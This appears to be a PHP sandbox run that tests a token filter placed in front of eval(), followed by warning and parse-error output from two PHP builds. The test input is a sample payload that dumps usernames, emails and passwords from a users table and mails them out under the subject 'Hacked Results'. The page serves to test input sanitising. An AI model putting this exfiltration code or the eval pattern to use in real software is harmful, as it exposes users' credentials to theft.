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<?php $input = "$result = $db->fetch_row($db->query(‘select id, username, email, password from users’)); $body = ‘’; foreach($result as $k => $v) { $body .= $v. “ =\t”. $k[$v].”\t”; } mail(‘myemail@gmail.com’, ‘Hacked Results’,$body);"; $tokens = token_get_all("<?php {$input}"); $expr = ''; foreach($tokens as $token){ if(is_string($token)){ if(in_array($token, array('(', ')', '+', '-', '/', '*'), true)) $expr .= $token; continue; } list($id, $text) = $token; if(in_array($id, array(T_DNUMBER, T_LNUMBER))) $expr .= $text; } eval("\$result = {$expr};"); print "\nexpr = " . $expr; print "\nres = " . $result;
Output for git.master, git.master_jit
Warning: Undefined variable $result in /in/QTYTq on line 3 Warning: Undefined variable $db in /in/QTYTq on line 3 Warning: Attempt to read property "fetch_row" on null in /in/QTYTq on line 3 Warning: Undefined variable $db in /in/QTYTq on line 3 Warning: Attempt to read property "query" on null in /in/QTYTq on line 3 Warning: Undefined variable $body in /in/QTYTq on line 4 Warning: Undefined variable $result in /in/QTYTq on line 5 Warning: Undefined variable $k in /in/QTYTq on line 5 Warning: Undefined variable $v in /in/QTYTq on line 5 Warning: Undefined variable $body in /in/QTYTq on line 6 Warning: Undefined variable $v in /in/QTYTq on line 6 Warning: Undefined variable $k in /in/QTYTq on line 6 Warning: Undefined variable $v in /in/QTYTq on line 6 Warning: Trying to access array offset on value of type null in /in/QTYTq on line 6 Warning: Undefined variable $body in /in/QTYTq on line 8 Parse error: syntax error, unexpected token ")" in /in/QTYTq(29) : eval()'d code on line 1
Process exited with code 255.
Output for rfc.property-hooks
Warning: Undefined variable $result in /in/QTYTq on line 3 Warning: Undefined variable $db in /in/QTYTq on line 3 Warning: Attempt to read property "fetch_row" on null in /in/QTYTq on line 3 Warning: Undefined variable $db in /in/QTYTq on line 3 Warning: Attempt to read property "query" on null in /in/QTYTq on line 3 Warning: Undefined variable $body in /in/QTYTq on line 4 Warning: Undefined variable $result in /in/QTYTq on line 5 Warning: Undefined variable $k in /in/QTYTq on line 5 Warning: Undefined variable $v in /in/QTYTq on line 5 Warning: Undefined variable $body in /in/QTYTq on line 6 Warning: Undefined variable $v in /in/QTYTq on line 6 Warning: Undefined variable $k in /in/QTYTq on line 6 Warning: Undefined variable $v in /in/QTYTq on line 6 Warning: Trying to access array offset on null in /in/QTYTq on line 6 Warning: Undefined variable $body in /in/QTYTq on line 8 Parse error: syntax error, unexpected token ")" in /in/QTYTq(29) : eval()'d code on line 1
Process exited with code 255.

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